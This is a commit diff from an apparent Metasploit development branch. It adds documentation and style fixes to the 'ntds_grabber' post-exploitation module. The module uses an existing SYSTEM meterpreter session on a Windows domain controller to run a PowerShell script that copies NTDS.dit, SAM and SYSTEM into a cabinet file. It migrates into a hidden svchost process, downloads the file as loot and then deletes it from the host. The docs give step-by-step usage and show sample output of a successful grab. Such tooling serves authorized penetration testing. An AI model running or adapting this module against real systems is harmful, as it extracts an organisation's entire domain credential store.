Fixed styling of the module and added documentation.

GSoC/Meterpreter_Web_Console
Koen Riepe 2017-04-05 12:36:02 +02:00
parent 2fb42ff019
commit 8958ac0247
No known key found for this signature in database
GPG Key ID: AF31F53A044119AB
2 changed files with 198 additions and 126 deletions

View File

@ -0,0 +1,58 @@
## Creating A Testing Environment
To use this module you need an meterpreter on a domain controller.
The meterpreter has to have SYSTEM priviliges.
Powershell has te be installed.
This module has been tested against:
1. Windows Server 2008r2
This module was not tested against, but may work against:
1. Other versions of Windows server.
## Verification Steps
1. Start msfconsole
2. Obtain a meterpreter session with a meterpreter via whatever method.
3. Ensure the metepreter has SYSTEM priviliges.
4. Ensure powershell is installed.
3. Do: 'use post/windows/gather/ntds_grabber '
4. Do: 'set session #'
5. Do: 'run'
## Scenarios
### Windows Server 2008r2 with an x86 meterpreter
msf exploit(psexec) > use post/windows/gather/ntds_grabber
msf post(ntds_grabber) > set session #
session => #
msf post(ntds_grabber) > run
[+] [2017.04.05-12:26:49] Running as SYSTEM
[+] [2017.04.05-12:26:50] Running on a domain controller
[+] [2017.04.05-12:26:50] PowerShell is installed.
[-] [2017.04.05-12:26:50] The meterpreter is not the same architecture as the OS! Migrating to process matching architecture!
[*] [2017.04.05-12:26:50] Starting new x64 process C:\windows\sysnative\svchost.exe
[+] [2017.04.05-12:26:51] Got pid 3088
[*] [2017.04.05-12:26:51] Migrating..
[+] [2017.04.05-12:26:56] Success!
[*] [2017.04.05-12:26:56] Powershell Script executed
[*] [2017.04.05-12:26:59] Creating All.cab
[*] [2017.04.05-12:27:01] Waiting for All.cab
[*] [2017.04.05-12:27:02] Waiting for All.cab
[+] [2017.04.05-12:27:02] All.cab should be created in the current working directory
[*] [2017.04.05-12:27:05] Downloading All.cab
[+] [2017.04.05-12:27:15] All.cab saved in: /home/XXX/.msf4/loot/20170405122715_default_10.100.0.2_CabinetFile_648914.cab
[*] [2017.04.05-12:27:15] Removing All.cab
[+] [2017.04.05-12:27:15] All.cab Removed
[*] Post module execution completed
msf post(ntds_grabber) > loot
Loot
====
host service type name content info path
---- ------- ---- ---- ------- ---- ----
10.100.0.2 Cabinet File All.cab application/cab Cabinet file containing SAM, SYSTEM and NTDS.dit /home/XXX/.msf4/loot/20170405122715_default_10.100.0.2_CabinetFile_648914.cab

View File

@ -8,29 +8,34 @@ class MetasploitModule < Msf::Post
include Msf::Post::Common include Msf::Post::Common
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(
info,
'Name' => 'NTDS Grabber', 'Name' => 'NTDS Grabber',
'Description' => %q{This module uses a powershell script to obtain a copy of the ntds,dit SAM and SYSTEM files on a domain controller. It compresses all these files in a cabinet file called All.cab.}, 'Description' => %q(This module uses a powershell script to obtain a copy of the ntds,dit SAM and SYSTEM files on a domain controller.
It compresses all these files in a cabinet file called All.cab.),
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => ['Koen Riepe (koen.riepe@fox-it.com)'], 'Author' => ['Koen Riepe (koen.riepe@fox-it.com)'],
'References' => [''], 'References' => [''],
'Platform' => [ 'win' ], 'Platform' => [ 'win' ],
'Arch' => [ 'x86', 'x64' ], 'Arch' => [ 'x86', 'x64' ],
'SessionTypes' => [ 'meterpreter' ] 'SessionTypes' => [ 'meterpreter' ]
)) )
)
register_options( register_options(
[ [
OptBool.new('DOWNLOAD', [ true, 'Immediately download the All.cab file', true ]), OptBool.new('DOWNLOAD', [ true, 'Immediately download the All.cab file', true ]),
OptBool.new('CLEANUP', [ true, 'Remove the All.cab file at the end of module execution', true ]) OptBool.new('CLEANUP', [ true, 'Remove the All.cab file at the end of module execution', true ])
], self.class) ],
self.class
)
end end
def is_dc() def dc_check
is_dc_srv = false is_dc_srv = false
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services" serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
if registry_enumkeys(serviceskey).include?("NTDS") if registry_enumkeys(serviceskey).include?("NTDS")
if registry_enumkeys(serviceskey + "\\NTDS").include?("Parameters") if registry_enumkeys("#{serviceskey}\\NTDS").include?("Parameters")
is_dc_srv = true is_dc_srv = true
end end
end end
@ -42,15 +47,16 @@ class MetasploitModule < Msf::Post
tasklist = session.shell_read(-1, 10).split("\n") tasklist = session.shell_read(-1, 10).split("\n")
tasklist.each do |prog| tasklist.each do |prog|
if prog.include? task if prog.include? task
session.shell_close() session.shell_close
return true return true
end end
end end
return false return false
end end
def is_32_bit_on_64_bits() def check_32_on_64
apicall = session.railgun.kernel32.IsWow64Process(-1, 4)["Wow64Process"] apicall = session.railgun.kernel32.IsWow64Process(-1, 4)["Wow64Process"]
# railgun returns '\x00\x00\x00\x00' if the meterpreter process is 64bits.
if apicall == "\x00\x00\x00\x00" if apicall == "\x00\x00\x00\x00"
migrate = false migrate = false
else else
@ -59,7 +65,7 @@ class MetasploitModule < Msf::Post
return migrate return migrate
end end
def get_windows_loc() def get_windows_loc
apicall = session.railgun.kernel32.GetEnvironmentVariableA("Windir", 255, 255)["lpBuffer"] apicall = session.railgun.kernel32.GetEnvironmentVariableA("Windir", 255, 255)["lpBuffer"]
windir = apicall.split(":")[0] windir = apicall.split(":")[0]
return windir return windir
@ -70,63 +76,63 @@ class MetasploitModule < Msf::Post
cleanupflag = datastore['CLEANUP'] cleanupflag = datastore['CLEANUP']
if is_system? if is_system?
print_good("Running as SYSTEM") print_good('Running as SYSTEM')
else else
print_error("Not running as SYSTEM, you need to be system to run this module! STOPPING") print_error('Not running as SYSTEM, you need to be system to run this module! STOPPING')
return return
end end
if not is_dc() if not dc_check
print_error("Not running on a domain controller, you need run this module on a domain controller! STOPPING") print_error('Not running on a domain controller, you need run this module on a domain controller! STOPPING')
return return
else else
print_good("Running on a domain controller") print_good('Running on a domain controller')
end end
if have_powershell? if have_powershell?
print_good("PowerShell is installed.") print_good('PowerShell is installed.')
else else
print_error("PowerShell is not installed! STOPPING") print_error('PowerShell is not installed! STOPPING')
return return
end end
if is_32_bit_on_64_bits() if check_32_on_64
print_error("The meterpreter is not the same architecture as the OS! Migrating to process matching architecture!") print_error('The meterpreter is not the same architecture as the OS! Migrating to process matching architecture!')
windir = get_windows_loc() windir = get_windows_loc
newproc = windir + ':\windows\sysnative\svchost.exe' newproc = "#{windir}:\\windows\\sysnative\\svchost.exe"
if exist?(newproc) if exist?(newproc)
print_status("Starting new x64 process #{newproc}") print_status("Starting new x64 process #{newproc}")
pid = session.sys.process.execute(newproc, nil, { 'Hidden' => true, 'Suspended' => true }).pid pid = session.sys.process.execute(newproc, nil, { 'Hidden' => true, 'Suspended' => true }).pid
print_good("Got pid #{pid}") print_good("Got pid #{pid}")
print_status("Migrating..") print_status('Migrating..')
session.core.migrate(pid) session.core.migrate(pid)
if pid == session.sys.process.getpid if pid == session.sys.process.getpid
print_good("Success!") print_good('Success!')
else else
print_error("Migration failed!") print_error('Migration failed!')
end end
end end
else else
print_good("The meterpreter is the same architecture as the OS!") print_good('The meterpreter is the same architecture as the OS!')
end end
base_script = File.read(File.join(Msf::Config.data_directory, "post", "powershell", "NTDSgrab.ps1")) base_script = File.read(File.join(Msf::Config.data_directory, "post", "powershell", "NTDSgrab.ps1"))
execute_script(base_script) execute_script(base_script)
print_status("Powershell Script executed") print_status('Powershell Script executed')
cabcount = 0 cabcount = 0
while cabcount < 2 while cabcount < 2
if task_running("makecab.exe") if task_running("makecab.exe")
cabcount += 1 cabcount += 1
while cabcount < 2 while cabcount < 2
print_status("Creating All.cab") print_status('Creating All.cab')
if not task_running("makecab.exe") if not task_running("makecab.exe")
cabcount += 1 cabcount += 1
while not file_exist?("All.cab") while not file_exist?("All.cab")
sleep(1) sleep(1)
print_status("Waiting for All.cab") print_status('Waiting for All.cab')
end end
print_good("All.cab should be created in the current working directory") print_good('All.cab should be created in the current working directory')
end end
sleep(1) sleep(1)
end end
@ -135,15 +141,23 @@ class MetasploitModule < Msf::Post
end end
if downloadflag if downloadflag
print_status("Downloading All.cab") print_status('Downloading All.cab')
p1 = store_loot("Cabinet File", "application/cab", session, read_file("All.cab"), "All.cab", "Cabinet file containing SAM, SYSTEM and NTDS.dit") p1 = store_loot('Cabinet File', 'application/cab', session, read_file("All.cab"), 'All.cab', 'Cabinet file containing SAM, SYSTEM and NTDS.dit')
print_good("All.cab saved in: #{p1.to_s}") print_good("All.cab saved in: #{p1}")
end end
if cleanupflag if cleanupflag
print_status("Removing All.cab") print_status('Removing All.cab')
begin
file_rm('All.cab') file_rm('All.cab')
print_good("All.cab Removed") rescue
print_error('Problem with removing All.cab. Manually check if it\'s still there.')
end
if not file_exist?("All.cab")
print_good('All.cab Removed')
else
print_error('All.cab was not removed')
end
end end
end end
end end